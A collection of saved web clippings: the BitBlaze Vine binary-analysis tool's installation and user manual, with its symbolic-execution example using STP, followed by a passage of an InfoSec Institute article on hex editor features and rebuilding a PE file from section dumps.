## Leave a Comment »

No comments yet.

RSS feed for comments on this post. TrackBack URI

### Leave a Reply \(comments are moderated\)

  

  *[RSS]: Really Simple Syndication
  *[URI]: Uniform Resource Identifier

# Vine installation and user manual

**Created:**| _9/18/2009 10:18:47 AM_  
---|---  
**Updated:**| _9/20/2009 2:55:23 PM_  
**Author:**| __  
**Tags:**| _security tools reversing Manuals_  
  

# **Vine installation and user manual**

### BitBlaze Team

### August 26th, 2009: Release 1.0 and Ubuntu 9.04  
---  
## Contents

  * 1 Introduction
  * 2 Installation
    * 2.1 Prerequisites
      * 2.1.1 C++ compiler
      * 2.1.2 The VEX library
      * 2.1.3 STP
      * 2.1.4 Binutils libraries
      * 2.1.5 OCaml build tools
      * 2.1.6 OCaml libraries
      * 2.1.7 LATEX
    * 2.2 Compiling
      * 2.2.1 Unpacking
      * 2.2.2 Configure
      * 2.2.3 Build code
      * 2.2.4 Build documentation
    * 2.3 Summary
  * 3 Vine Overview
  * 4 The Vine Intermediate Language
  * 5 Example
    * 5.1 Generating the IL and the STP formula
    * 5.2 Querying STP
  * 6 Documentation of various utilities in Vine
    * 6.1 Appreplay
  * 7 Troubleshooting
  * 8 Reporting Bugs

## 1 Introduction

This document is a guide for setting up and running Vine, the static analysis
component of the BitBlaze Binary Analysis Framework. It assumes that you have
some familiarity with Linux. The instructions are based on the release of Vine
mentioned in the header, running on a vanilla Ubuntu 9.04 distribution of
Linux. It includes details about how to install Vine, and then walks through a
simple usage example intermixed with explanations about the tools used.

The example takes a trace from a simple program with symbolic keyboard input,
and generates an STP file which models the weakest precondition of the
control-flow path the program took. In other words, the conditions on the
inputs that cause it to take a execute a certain path of code. The trace file
was generated using TEMU, the dynamic component of the BitBlaze Binary
Analysis Framework, but it is included in the `examples` directory of the Vine
distribution so you can try out the tool without using TEMU.

## 2 Installation

Vine is written using a combination of OCaml and C++, and distributed in
source code form. Therefore the main steps in installing it are installing the
prerequisite software it requires, and then compiling the source code. To
install prerequisite software, we recommend that you use a recent version of
Ubuntu Linux, for which we have verified that all the needed packages are
already available. The compilation is performed automatically using
`configure` and `Makefile` scripts like many other Linux applications. The
following subsections cover these tasks in more detail, and then we finish by
giving complete listing of the commands needed for our recommended platform.

### 2.1 Prerequisites

Our recommended platform for using Vine is a 32-bit x86 version of Ubuntu
Linux, version 9.04 \(code named “Jaunty Jackalope”\); we used such a system
in preparing these instructions. The needed packages all also exist in Debian
Linux, so the process there should work in almost the same way. It is possible
to use Vine with other Linux distributions, but you may need to compile some
of the prerequisite software from source. The pure OCaml parts of Vine also
work fine on 64-bit x86-64 Linux platforms, but the library it uses for the
semantics of x86 instructions expects to run on a 32-bit platform when
processing 32-bit code, so a 32-bit platform is needed to make complete use of
Vine. If you are using an x86-64 version of Ubuntu or Debian, we recommend
installing a parallel 32-bit version of your OS packages using a mechanism
called a “chroot”, but how to do so is beyond the scope of this manual \(or
you could use another kind of virtual machine\).

If you don’t have any of the prerequisites already installed, they will
require about 300MB to download, and take up about 1.1GB of disk space once
installed. A build of Vine itself requires about 320MB.

#### 2.1.1 C++ compiler

For compiling the C++ code in Vine, we recommend the G++ compiler from GCC
which is standard on Linux; the default version in Ubuntu 9.04 is 4.3.3, and
the package name is `g++`.

#### 2.1.2 The VEX library

Vine uses the VEX library \(which is also used by Valgrind\) to get
information about the behavior of x86 instructions. The current version of
Vine is designed to work with SVN revision r1856 of VEX, which is maintained
in the Valgrind SVN repository at `svn://svn.valgrind.org/vex/trunk`. For your
convenience, we have included an appropriate version of VEX with the release,
and it will be compiled automatically.

#### 2.1.3 STP

Vine interfaces with STP, a satisfiability-modulo-theories \(SMT\) decision
procedure for bit vector \(bounded integer\) arithmetic and arrays. Vine can
either interact directly with the prover through a programmatic interface, or
it can produce formulas in STP’s text format. The directory `stp` contains x86
and x86-64 binaries for a version of STP we have tested to work well with
Vine. If you would like to use a different version of STP, it is available in
source form at `http://people.csail.mit.edu/vganesh/STP_files/stp.html`.

#### 2.1.4 Binutils libraries

Vine uses the GNU BFD \(Binary File Descriptor\) library and related libraries
from the GNU Binutils to parse the structure of executables, and for human-
readable dissassembly. On Ubuntu they are distributed in a package named
`binutils-dev` \(version 2.19.1 in Ubuntu 9.04\).

\(A technical legal point: the VEX library with which Vine links is
distributed under version 2 of the GNU GPL only, whereas versions 2.18 and
later of the GNU Binutils are distributed only under versions 3 and later of
the GNU GPL. Unfortunately, versions 2 and 3 of the GPL are mutually
incompatible, so if you plan to distribute copies of Vine for platforms where
the Binutils are not system libraries in the sense of the GPL, you may wish to
use version 2.17 or earlier of the Binutils instead.\)

#### 2.1.5 OCaml build tools

Most of Vine is implemented in the functional language OCaml, so OCaml
development tools are required. In addition to the standard OCaml compiler and
tools, Vine uses the Findlib library for managing OCaml packages, and the
CamlIDL tool for generating interfaces to C code. In Ubuntu 9.04, these are
available as the `ocaml` package \(version 3.10.2\), the `ocaml-findlib`
package \(version 1.2.1\), and the `camlidl` package \(version 1.05\).
Optionally, you can also install the natively compiled versions of the OCaml
build tools \(which are somewhat faster\) from the `ocaml-native-compiler`
package.

#### 2.1.6 OCaml libraries

Vine also uses several extra OCaml libraries:

  * ExtLib provides an extended standard library \(e.g., more data structures\) for OCaml; version 1.5.1 is in the package `libextlib-ocaml-dev`.
  * OCamlgraph is a library of graph data structures and algorithms. At least version 0.99c is required \(earlier versions have an interface incompatibility\); in Ubuntu it’s the package `libocamlgraph-ocaml-dev`.
  * GDome2 is a document object model for dealing with XML documents that Vine uses via its OCaml bindings. Version 0.2.6 is available as the package `libgdome2-ocaml-dev`.

#### 2.1.7 LATEX

Vine’s documentation \(including this document\) is written using the LATEX
markup language, so you will need to install it to rebuild the documentation.
On Ubuntu 9.04, the needed parts are included under the `texlive`, `texlive-
latex-extra`, and `transfig` packages. To build an HTML version of the
documentation, we also use HEVEA, which is in the `hevea` package.

### 2.2 Compiling

#### 2.2.1 Unpacking

Vine is distributed as a gzip-compressed tar archive, which you can unpack
into a directory `vine-1.0` using the command “`tar xvzf vine-1.0.tar.gz`”.

#### 2.2.2 Configure

To prepare the Vine source for compilation, you’ll need to run the `configure`
script in the Vine source directory. The script accepts all of the standard
options and environment variables for autoconf-based configure scripts, though
most should not be necessary.

#### 2.2.3 Build code

After the configuration script has finished, you can compile Vine by running
`make` in the top-level Vine directory. This will compile first the C++
library and then the OCaml modules.

#### 2.2.4 Build documentation

To generate the documentation that comes with Vine, go to the `vine/doc`
subdirectory and give the command “`make doc`”.

### 2.3 Summary

To recap the steps described above, we now show a script for all of the
commands needed to compile Vine, starting with a fresh installation of Ubuntu
9.04. \(This is also found as the file `docs/install-vine-release.sh` in the
Vine source.\)

[code]

    #!/bin/bash# Instructions for installing Vine release 1.0 on Ubuntu 9.04 Linux 32-bit# Commands that require root access are preceded with "sudo".# The prerequisite packages are about 300MB of downloads, and require# 1.1GB once installed; Vine itself requires about 320MB.# Last tested 2009-08-17# This script will build Vine in a "$HOME/bitblaze" directory,# assuming that vine-1.0.tar.gz is in /tmp.cd ~mkdir bitblazecd bitblaze# Prerequisite packages:# For compiling C++ code:sudo apt-get install g++# For OCaml support:sudo apt-get install ocaml ocaml-findlib libgdome2-ocaml-dev camlidl \                     libextlib-ocaml-dev ocaml-native-compilers# Ocamlgraph >= 0.99c is required; luckily the version in Ubuntu 9.04# is now new enough.sudo apt-get install libocamlgraph-ocaml-dev# For the BFD library:sudo apt-get install binutils-dev# For building documentation:sudo apt-get install texlive texlive-latex-extra transfig hevea# Vine itself:tar xvzf /tmp/vine-1.0.tar.gz(cd vine-1.0 && ./configure)(cd vine-1.0 && make)(cd vine-1.0/doc/howto && make doc)
[/code]

## 3 Vine Overview

> * * *
> <img src='img/Temp2_8891.png' />
> Figure 1: Vine Overview  
> ---  
> * * *
Figure 1 shows a high-level picture of Vine. The Vine static analysis
component is divided into a platform-specific front-end and a platform-
independent back-end. At the core of Vine is a platform-independent
intermediate language \(IL\) for assembly. Previously, we also used the name
IR \(intermediate representation\) for this language, and that abbreviation
persists in some command and option names, and as a file extension. The IL is
designed as a small and carefully specified language that faithfully
represents the assembly languages. Assembly instructions in the underlying
architecture are translated to the Vine IL, a process we refer to as _lifting_
, via the Vine front-end. All back-end analyses are performed on the platform-
independent IL. Thus, program analyses can be written in an architecture-
independent fashion and do not need to directly deal with the complexity of an
instruction set such as x86. This design also provides extensibility—users can
easily write their own analysis on the IL by building on top of the core
utilities provided in Vine.

The Vine front-end currently supports translating 32-bit x86 to the IL. It
uses a set of third-party libraries to parse different binary formats and
produce assembly. The assembly is then translated into the Vine IL in a
syntax-directed manner.

The Vine back-end supports a variety of core program analysis utilities. The
back-end has utilities for creating a variety of different graphs, such as
control flow and program dependence graphs. The back-end also provides an
optimization framework. The optimization framework is usually used to simplify
a specific set of instructions. We also provide program verification
capabilities such as symbolic execution, calculating weakest preconditions,
and interfacing with decision procedures. Vine can also write out lifted Vine
instructions as valid C code via the code generator back-end.

To combine static and dynamic analysis, we also provide an interface for Vine
to read an execution trace generated by a dynamic analysis component such as
TEMU. The execution trace can be lifted to the IL for various further
analysis.

## 4 The Vine Intermediate Language

> * * *
>  _program_|  ::=| _decl_ \* _stmt_ \*  
> ---|---|---  
> _decl_|  ::=| `var` _var_` ;`  
> _stmt_|  ::=| _lval_ `=` _exp_` ;`| `jmp``(`_exp_`)``;`| `cjmp``(`_exp_` ,`
> _exp_` ,` _exp_`);`| `halt``(`_exp_`)``;`| `assert``(`_exp_`)``;`  
> |  | | `label` _label_` :`| `special` _string_` ;`| `{` _decl_ \* _stmt_ \*`}`  
> _label_|  ::=| _identifier_  
>  _lval_|  ::=| _var_ | _var_`[`_exp_`]`  
> _exp_|  ::=| `(` _exp_ `)`| _lval_ | `name``(`_label_`)`| _exp_ ◇ _b_ _exp_ | ◇ _u_ _exp_ | _const_  
> |  | | `let` _lval_ `=` _exp_ `in` _exp_ | `cast``(`_exp_`)`_cast_ _`_`__kind_` :`τreg  
>  _cast_ _`_`__kind_|  ::=| `Unsigned` | `U`| `Signed` | `S`| `High` | `H`| `Low` | `L`  
>  _var_|  ::=| _identifier_` :`τ  
> ◇ _b_|  ::=| `+` | `-` | `*`| `/` | `/$` | `%` | `%$`| `<<` | `>>` | `@>>`| `&` | `^` | `|`  
> |  | | `==` | `<>`| `<` | `<=` | `>` | `>=`| `<$` | `<=$` | `>$` | `>=$`  
> ◇ _u_|  ::=| `-` | `!`  
> _const_|  ::=| _integer_ :τreg  
>  _τ_|  ::=| _τ_ _reg_ | _τ_ _mem_  
>  _τ_ _reg_|  ::=| `reg1_t` | `reg8_t` | `reg16_t` | `reg32_t` | `reg64_t`  
>  _τ_ _mem_|  ::=| `mem32l_t`| `mem64l_t`| _τ_ _reg_`[`_const_`]`  
> Table 1: The grammar of the Vine Intermediate Language \(IL\).  
> ---  
> * * *
The Vine IL is the target language during lifting, as well as the analysis
language for back-end program analysis. The semantics of the IL are designed
to be faithful to assembly languages. Table 1 shows the syntax of Vine IL. The
lexical syntax of identifiers and strings are as in C. Integers may be
specified in decimal, or in hexadecimal with a prefix of `0x`. Comments may be
introduced with `//`, terminated by the end of a line, or with `/*`,
terminated by `*/`.

The base types in the Vine IL are 1, 8, 16, 32, and 64-bit-wide bit vectors,
also called registers. 1-bit registers are used as booleans; `false` and
`true` are allowed as syntactic sugar for `0:reg1_t` and `1:reg1_t`
respectively. There are also two kinds of aggregate types, which we call
_arrays_ and _memories_. Both are usually used to represent the memory of a
machine, but at different abstraction levels. An array consists of distinct
elements of a fixed register type, accessed at consecutive indices ranging
from 0 up to one less than their declared size. By contrast, memory indices
are always byte offsets, but memories may be read or written with any type
between 8 and 64 bits. Accesses larger than a byte use a sequence of
consecutive bytes, so accesses at nearby addresses might partially overlap,
and it is observable whether the memory is little-endian \(storing the least
significant byte at the lowest address\) or big-endian \(storing the most
significant byte at the lowest address\). Generally, memories more concisely
represent the semantics of instructions, but arrays are easier to analyze, so
Vine analyses will convert memories into arrays, a process we sometimes call
_de-endianization_. The current version of Vine supports two little-endian
memory types, with either 32-bit or 64-bit address sizes.

Expressions in Vine are side-effect free. Variables and constants must be
labeled with their type \(separated with a colon\) whenever they appear. The
binary and unary operators are similar to those of C, with the following
differences:

  * Not-equal-to is `<>`, rather than `!=`.
  * The division, modulus, right shift, and ordered comparison operators are explicitly marked for signedness: the unadorned versions are always unsigned, while the signed variants are suffixed with a `$` \(for “signed”\), or in the case of right shift prefixed with an `@` \(for “arithmetic”\).
  * There is no distinction between logical and bitwise operators, so `&` also serves for `&&`, `|` also serves for `||`, and `!` also serves for `~`.

There is no implicit conversion between types of different widths; instead,
all conversions are through an explicit cast operator that specifies the
target type. Widening casts are either `Unsigned` \(zero-extending\) or
`Signed` \(sign-extending\), while narrowing casts can select either the
`High` or `Low` portion of the larger value. \(For brevity, these are usually
abbreviated by their first letters.\) A `let` expression, as in functional
languages, allows the introduction of a temporary variable.

A program in Vine is a sequence of variable declarations, followed by a
sequence of statements; block structure is supported with curly braces. \(In
fact, the parser allows declarations to be intermixed with statements, but the
effect is as if the declarations had all appeared first.\) Some documents also
refer to statements as “instructions,” but note that more complex machine
instructions translate into several Vine statements. The most frequent kind of
statement is an assignment to a variable or to a location in an array or
memory variable. Control flow is unstructured, as in assembly language:
program locations are specified with labels, and there are unconditional
\(`jmp`\) and conditional \(`cjmp`\) jumps. The argument to `jmp` and the
second and third arguments to `cjmp` may be either labels \(introduced by
`name`\), or a register expression to represent a computed jump. The first
argument to `cjmp` is a `reg1_t` that selects the second \(for 1\) or third
\(for 0\) argument as the target.

A program can halt normally at any time by issuing the `halt` statement. We
also provide `assert`, which acts similar to a C assert: the asserted
expression must be true, else the machine halts. A `special` in Vine
corresponds to a call to an externally defined procedure or function. The
argument of a special indexes what kind of special, e.g., what system call.
The semantics of `special` is up to the analysis; its operational semantics
are not defined. We include `special` as an instruction type to explicitly
distinguish when such calls may occur that alter the soundness of an analysis.
A typical approach to dealing with `special` is to replace `special` with an
analysis-specific summary written in the Vine IL that is appropriate for the
analysis.

## 5 Example

We now illustrate the use of Vine with an example. In it, we will take a trace
generated by TEMU from a program that parses an integer and checks whether it
is equal to 5. We will use Vine to build a version of the execution path in
which the input is symbolic, and compute a path condition: a formula over the
inputs which, if true, causes execution to take the same path. Finally, we
will use STP to solve the path condition and reconstruct an input that would
cause the program to take the same path. The trace is included in the
`examples` directory under the name `five.trace`.

### 5.1 Generating the IL and the STP formula

We start with a trace \(generated, for instance, by TEMU\) that records the
instructions executed on a program run, the data values they operated on, and
which data values were derived from a distinguished set of \(“tainted”\) input
values. We’re going to do operations where we consider that input to be a
symbolic variable, but the first step is to interpret the trace. The x86
instructions in the trace are a pretty obscure representation of what is
actually happening in the program, so we’ll translate them into a cleaner
intermediate language \(IL, abbreviated IR in command options\).

First, let us check if we have got a meaningful trace. One way to do so is to
print the trace, and see that at least the expected instructions are marked as
tainted. For this, you may use the `trace_reader` command utility in Vine. As
shown below, in the output you should be able to see the compare instruction
that comapares the input to the immediate value 5. The presence of tainted
operands in any instruction are indicated by the record containing “T1”.

| |   
---  
|

[code]

    % cd bitblaze/vine% ./trace_utils/trace_reader -trace examples/five.trace | grep T1......804845a:       cmpl    $0x5,-0x4(%ebp)   I@0x00000000[0x00000005] \       T0      M@0xbffffac4[0x00000005]        T1 {15 (1001, 0) (1001, 0) \  (1001, 0) (1001, 0) } 
[/code]  
---  
|  
---  
Of course, the real output of that command contains many of instructions, but
we’ve picked out a key one: an instruction from the main program \(you can
tell because the address is in the `0x08000000` range\) in which a value from
the stack \(`-0x4(%ebp)`\) is compared \(a `cmpl` instruction\) with a
constant integer 5 \(`$0x5`\).The later fields on the line represent the
instruction operands and their tainting.

We can then use the `appreplay` utility to both convert the trace into IL for
and then to generate an STP formula given the constraints on the symbolic
input. The invocation looks like:

| |   
---  
|

[code]

    % ./trace_utils/appreplay -trace examples/five.trace \  -stp-out five.stp -ir-out five.il -wp-out five.wp...Time to create sym constraint from TM: 0.288464
[/code]  
---  
|  
---  
This command line produces the final STP file as `foo.stp`, and the
intermediate files `foo.il` and `foo.wp` to demonstrate the steps of the
processing. Remember that Vine uses its own IL to model the semantics of
instructions in a simpler RISC-like form. The IL and WP output files are in
this IL language. If you aren’t interested in these files, you can omit the
`-ir-out` and `-wp-out` options. You can learn about other options that may be
supplied to `appreplay` in Section 6.

In essence, `appreplay` models the logic of the executed instructions,
generating a path constraint needed to force the execution down the path taken
in the trace. A variable `post` is introduced, which is the conjunction of the
conditions seen along the path. In the file `foo.il`, you can see this
variable is assigned at each conditional branch point as _post_ = _post_ ∧
_condition_ , where a condition is a variable modeling the compare operation’s
result that must be true to force execution to continue along the path taken.
\(Because the language is explicitly typed and `appreplay` is careful to
generate unique names, the full name of the `post` variable is likely
something like `post_1034:reg1_t`, where the part after the colon tells you
it’s a one-bit \(boolean\) variable.\)

This weakest precondition formula is then converted to the format of the STP
solver’s input.

### 5.2 Querying STP

Now, in the last step we wish to ask the question “what input values force the
execution down the path taken in the execution?”. In the formula we’ve built,
this is equivalent to asking for a set of assignments that make the variable
`post` true. We use STP to solve this formula for us. The STP file has the
symbolic `INPUT` variable marked free \(along with the initial contents of
memory\), and it asserts that the final value of `post` is true.

A symbolic formula _F_ is _valid_ if it is true in all interpretations. In
other words, _F_ is valid if all assignments to the free \(symbolic\)
variables make _F_ true. Given a formula, STP decides whether it is valid or
not. If it is invalid, then there exists at least one set of inputs that make
the formula false, and STP can report such an assignment \(a
_counterexample_\). We use this feature to get the assignment to the free
`INPUT` variable in the formula that makes the execution follow the traced
path. Since we don’t need to impose any additional constraints, beyond the
ones included in `post`, the formula we ask STP to try to falsify is `FALSE`,
which should be easily to falsify as long as the constraints are satisfiable.

To do this, we add the following 2 lines at the end of the STP file and run
STP on it:

| |   
---  
|

[code]

    % cat >>five.stpQUERY(FALSE);COUNTEREXAMPLE;% ./stp/stp five.stpInvalid.ASSERT( INPUT_1001_0_61  = 0hex35  );
[/code]  
---  
|  
---  
STP’s reply of `Invalid.` indicates it has determined that the query formula
`FALSE` is not valid: there is an assignment to the program inputs that
satisfies the other assertions in the file \(i.e., would lead the program to
execute the same path that was observed\), but still leaves `FALSE` false. As
a counterexample it gives one such input \(in this case, the only possible
one\), in which the input has the hex value `0x35` \(ASCII for `5`\).

## 6 Documentation of various utilities in Vine

Here is a slightly more detailed explanation of the Vine utilities used in the
example.

### 6.1 Appreplay

  * `-trace` : specifies the TEMU execution trace file to process
  * `-state` and `-state-range` are used to initialize ranges of memory locations from a TEMU state snapshot.
  * `-conc-mem-idx` is an optimization to do some constant propagation, which appears to help STP quite a bit. This will likely become deprecated once some of the STP optimization issues are resolved.
  * `-prop-consts` is another optimization that propagates all constant values using Vine’s evaluator.
  * `-use-thunks` if set to true, the generated IR will have calls to functions to update the processor’s condition codes \(`EFLAGS` for the x86\). If false, this code will be inlined instead. For most analysis purposes this should be disabled. It may be useful for generating a smaller IR with the intent of giving it to the evaluator rather than to STP.
  * `-use-post-var` if this is set to true, then `assert` statements will be rewritten to update a variable ’post’, such that at the end of the trace `post` will have value true if and only if all assertions would have passed. This is mostly for backwards compatibility for before we introduced the `assert` statement.
  * `-deend` performs "deendianization", i.e. rewrites all memory expressions to equivalent array expressions. This should usually be enabled.
  * `-concrete` initializes all the ’input’ symbols to the values they had in the trace.
  * `-verify-expected` is mostly for regression/sanity tests, in conjunction with `-concrete`. `-verify-expected` adds assertions to verify the all operands subsequently computed from those symbols have the same value as they did in the trace, as they should in this case.
  * `-include-all` translates and includes _all_ instructions, rather than only those that \(may\) operate on tainted data. Generally not desirable, but sometimes useful for debugging.
  * `-ir-out` specify the output ir file.
  * `-wp-out` and `-stp-out` tell appreplay to compute the weakest precondition \(WP\) over the variable `post` \(described above\), and convert the resulting IR to an STP formula. the formula holds for inputs that would follow the same execution path as in the trace.

## 7 Troubleshooting

This section lists some errors that you may encounter while using Vine, and
gives suggestions on resolving them.

  * Size assertion in VEX| |   
---  
|

[code]    vex: priv/host-x86/hdefs.c:2332 (emit_X86Instr):Assertion
`sizeof(UInt) == sizeof(void*)' failed.

[/code]  
---  
|  
---  
This error occurs if you try to use a 64-bit version of Vine to process 32-bit
x86 code. Because the VEX library does not support cross-platform operation,
Vine can only translate x86 code when compiled in 32-bit mode. However, you
can still compile and run an x86 version of Vine on an x86-64 platform \(see
Section 2.1 for further discussion\). You can also generate a Vine IL file on
a 32-bit platform and then do further processing on a 64-bit one.

  * OCaml stack overflow| |   
---  
|

[code]    Fatal error: exception Stack_overflow

[/code]  
---  
|  
---  
This error occurs when an OCaml program tries to use more stack space than is
available. If it occurs even on a very small input, it could be caused by an
infinite recursion bug, but more commonly it is caused by processing a large
data structure with a recursive algorithm. One potential fix is to increase
the amount of stack space available. For native-compiled OCaml programs, stack
usage is limited by the operating system’s stack size resource limit, which
may have a small default value such as 8MB. You can remove this limit with a
shell command, such as `ulimit -s unlimited` in an sh-style shell or `limit
stacksize unlimited` in a csh-style shell; see your shell’s documentation for
more details. Sometimes debugging versions of programs use more stack space,
so if you encounter this error with the `.dbg` version of a program, try the
version without that suffix. If the error was caused by recursion, a stack
backtrace should reveal what function was the culprit; to obtain one, rerun
the program with the `OCAMLRUNPARAM` environment variable set to `b`.

## 8 Reporting Bugs

Though we cannot give any guarantee of support for Vine, we are interested in
hearing what you are using it for, and if you encounter any bugs or unclear
points. Please send your questions, feature suggestions, bugs \(and, if you
have them, patches\) to the bitblaze-users mailing list. Its web page is:
`http://groups.google.com/group/bitblaze-users`.

* * *
> _This document was translated from L ATEX by_ _H_ _E_ _V_ _E_ _A_ _._

# InfoSec Institute Resources – Hexed – Working effectively in the hex editor

**Created:**| _12/12/2012 2:14:06 PM_  
---|---  
**Updated:**| _1/18/2013 9:20:18 AM_  
**Author:**| __  
**Tags:**| _Hex_  
  
  

# Hexed – Working effectively in the hex editor

1

Victor Marak December 10, 2012 Forensics

I love my hex editor\! I mean I really do. As reverse engineers and binary
explorers, the hex editor is arguably the most used tool for human binary
reconnaissance. From format exploration to file rebuilding, it’s the best
utility in our toolkit with a great legacy of its own. From the diverse range
of editors to the ken of features provided, it might seem a little daunting to
first timers and redundant to advanced types. It’s my goal in this article to
highlight the various features of this mighty tool that might just make your
day. Let’s get to it.

  1. What should you expect from your editor?

Locating your bytes:

The main display is always a hex byte representation of the binary file
arranged in a tabular fashion.

<img src='img/Temp2_4435.png' width='601' height='440' />

So in such a row and column arrangement, each byte can be addressed in terms
of its row offset which is a multiple of the row index and the column count,
and the position as per the column added. To illustrate, say the default is 16
columns: each row starting from the first row has a value that adds 10h to the
last column in the previous row. In accordance with the same, if you simply
multiply the row index, say the 2nd row with the column count, you get the
starting offset of your row. That means 2 X 10h = 20h or 32 \(decimal\).
Furthermore, the position of a byte within any row is simply the row offset
added to the column position of the byte in that row. So, the 2nd byte in the
2nd row has its position at the 20h + 0h \(1st column\) + 1h \(2nd column\) =
21h. The first byte in any row has the offset of the row itself, which is
displayed in the row’s rank, usually on the left hand side of the display.

The above set of observations can be summarized as,

Bxy = \{ Rx\*  
0aƩCi \} + Cy  

Where _x_ and _y_ are the coordinates of the byte _B_ to be addressed as _x_ =
row index and _y_ = column offset. Therefore, _R x_  
is the row index multiplied by the total number of columns added to the column
offset _C y_ of that byte in that row.

Viewing your strings representation:

Further exploring the default displays in most hex editors, the right side is
usually populated with a text display of the hex bytes in ASCII/Unicode toggle
modes. Various other text formats are provided in dedicated menu items, for
instance DOS, EBCDIC or Macintosh strings. The views are synchronized during
navigation and selection providing contextual awareness in the viewer.

Editing modes:

The two ubiquitous editing modes are INSERT and OVERWRITE. INSERT mode adds a
byte at the selected location and offsets the rest of the bytes by a unary
increment, repeated for every byte insert done. These inserts are obviously
positioned forward, meaning the bytes preceding the insertion position are not
affected by the edit, unless it is a deletion action. For such edits, you need
to type or paste a value\(s\) to position them in the editor environment. File
size increases for any addition and decreases for any deletion.

OVERWRITE mode erases the byte prior to the edit and replaces it with the new
value _without_ any change in the position of any byte in the file. Thus, in
this case the file size remains constant under usual circumstances.

Color coding makes the edits visible to the eye making the process more
intuitive.

Status quo:

The information panel usually in the bottom of most commercial editors give
the following info: Cursor position, the last selected byte position
\(caret\), the current file size and the editing modes, etc.

Editing and Search:

Text search, byte search, byte pattern search, data type template search
\(signed/unsigned 32-64 bit\) in up/down direction and endian type
\(Little/Big\) are some of the better used features. Also:

  * Copy/paste and variations of the same.
  * Multiple file editing, tabbed views.

Additional features:

Data inspectors give a formatted data types list of the bytes selected giving
a quick insight into a particular range of values that might be interesting
and how it maps to the list of types to gain clues.

Changing the endianness of the file display is also useful.

Decimal and hex display toggling for the rows and columns are not recommended
as working in hex is very intuitive once you get the hang of it.

Hex calculators/expression evaluators/base convertors are usually provided.

Entropy viewer, file compare \(diffing\), color mapping, structure templates
and related visualization data controls are tremendously beneficial for many
reversing tasks.

RAM dumping, MBR reading + editing, process enumeration, and process dumping
are some of the more dynamic features in forensics-focused hex editors.

Checksums of the selected byte ranges are used a lot for manual signature
work. Usually, a list of hashing algorithms is provided for immediate use.

More recently, even hex editors are incorporating some sort of disassembly
tool, so this immediately leverages the static analysis activities within the
editor environment.

Plugins provide extensibility.

  1. What are the above used for?

Let us start with a simple file rebuilding activity from Binary Auditor’s
package.

A PE file is split into 5 parts which have to be recombined to a working
executable.

This exercise is \_001 from the File Understanding folder.

Instructions are:

“Guess what that means and what you have to do. That’s right, put it all
together and make a working PE file. It shouldn’t be too hard for seasoned
reversers and will be a good learning experience for the rest of us.  

Things you’ll need to do:  

  1. Add/Create the Dos Stub/PE Header.  

  2. Figure out which section is which.  

  3. Put it all together and make it run.  

Have fun :\)”  

The 5 sections are named: 1\_Here.hex, 2\_Are.hex, 3\_The.hex, 4\_Five.hex and
5\_Sections.hex.

<img src='img/Temp2_4438.png' width='612' height='155' />

<img src='img/Temp2_4434.png' width='901' height='216' alt='Click to Enlarge'
/>

Click to Enlarge

<img src='img/Temp2_4439.png' width='902' height='82' alt='Click to Enlarge'
/>

Click to Enlarge

<img src='img/Temp2_4436.png' width='904' height='157' alt='Click to Enlarge'
/>

Click to Enlarge

<img src='img/Temp2_4441.png' width='900' height='365' alt='Click to Enlarge'
/>

Click to Enlarge

So let us fit a header first. The PE header is very well described having an
MZ header, the DOS stub, the PE header, the Optional header, followed by the
sections table and the individual sections themselves. The sections contain
code, data, resources, imports and exports among others. I built the sections
table as follows:

<img src='img/Temp2_4437.png' width='780' height='256' />

So how do I know which raw dump is what section?

Let’s take a look at the raw dumps themselves and see if we can point out
which ones are which. Let’s search for the .code section among them as this
section will contain the entry point and should be an excellent starting point
for adding the rest of the sections thereafter. Remember, opcodes in the x86
instruction set are very specific in having additional bytes for the MOD/RM
and SIB parameters. Do not go for any textual representation though, as most
of them don’t fall in the ASCII realm, and you won’t get any figurative
deduction.

So just by looking at your dump, you should be able to point out the ones that
stick out like a sore thumb or more precisely, the kind of opcodes that are
used the most and are statistically having a higher probability of occurring
in any x86 executable file. Even though the Intel instruction set is huge
\(CISC\), the most used instructions amount to just 13-16 most essential ones.
This bit has been independently researched and verified.

Let’s logically think for a moment: a Windows binary has to make certain OS
calls using the import table so that it can leverage the functionalities
provided by the OS. The opcode E8h immediately comes to mind. This would be
the _call_ instruction taking a memory address as an operand in most cases
\(byte displacements also work\). Every program would have to have some
control flow logic branching conditional statements of if…then…else; these are
implemented as jnz, je and others from the jcc family. Typically look for 74h,
75h followed by a DWORD address. Xor is 33h, push EBP is 55 and so on. The
last one is the most probable function prologue starting statement/opcode in
x86 platforms for any function calls involving the stack. When you already
have a few candidates, just skim through the dumps and see which ones have the
highest occurrence of x86 opcode bytes.

You might reminisce about a similar approach in classic cryptography. It’s
very simple to automate and you could build a visualization application of
sorts or a script to identify the resulting count-based histogram in any dump
set and find out the most probable ones. You will find that the last dump is
in fact the code section \(5\_Sections.hex\). Well, my favourite hex editor
already facilitates character distribution analysis. Let’s see if we can
detect the code section just using this really fast method. :-\)

I set the current view to this dump and go to Tools>Character Distribution and
sort by percent. Voila\!

<img src='img/Temp2_4433.png' width='479' height='365' />

Study the top list of hex characters/opcodes –

Null bytes take the larger share as expected, followed by FFh. Exclude them.

NOP or 90h is 2nd in the re-ranked list.

Call or E8 is 4th in the list.

Familiar ones visible are 75h \(Count 28\), 74h \(Count 19\) and EBh or jmp at
count 17 in the dump.

You get the idea. This is the confirmed code section indeed.

Running the same distribution algorithm on other dumps give results different
from the code section. Try it.

Another useful utility to locate the call regions is really intuitive in
graphics.

<img src='img/Temp2_4446.png' width='127' height='388' />

This makes my job of locating call opcodes fast in the code and gives an
indication of the distribution of call opcodes in the code, the possibility of
call clusters prior to decompression etc. Here, it’s quite simple that in live
unpacking and memory dumps, such tools are invaluable for analysis.

So, you plug the first section in your hex editor after making sure that the
section starts at a proper alignment. 400h seems just fine in accordance with
the file alignment optional header value to be set by you when you make the
final touches. This is also the default code section offset for Windows
compilers. Most alignment values are multiples of 200h. Memory alignment is
usually multiples of 1000h, owing to page boundaries. This is simply set in
the optional header and the section headers, and is not to be worried about
anymore. So you need to fill in a few more bytes to make the section size a
multiple of the file alignment value set. You could experiment with other
values as well. This per section alignment has to be done for every one of
them if required, or else the PE file will not execute properly as the Windows
loader will notice the discrepancy.

On studying the compiler output of simple Windows GUI applications made in
C/C++, you will notice that the data section contains the strings that are
used inside the code, especially those that are passed to the MessageBoxA/W
dialog box function calls. Looking for sets of printable strings in the dumps,
you will find that the 3rd dump has quite a few readable strings. This should
be your .data section. Make a minimum 200h 0 byte extension to the current PE
hex view to give a data section template, and paste the entire dump on it. You
will see that this action is not yet accurate and if you run the file later
without cross referencing the strings’ addresses from the compiled code
region, it won’t work. But save that for later, as that can be figured out in
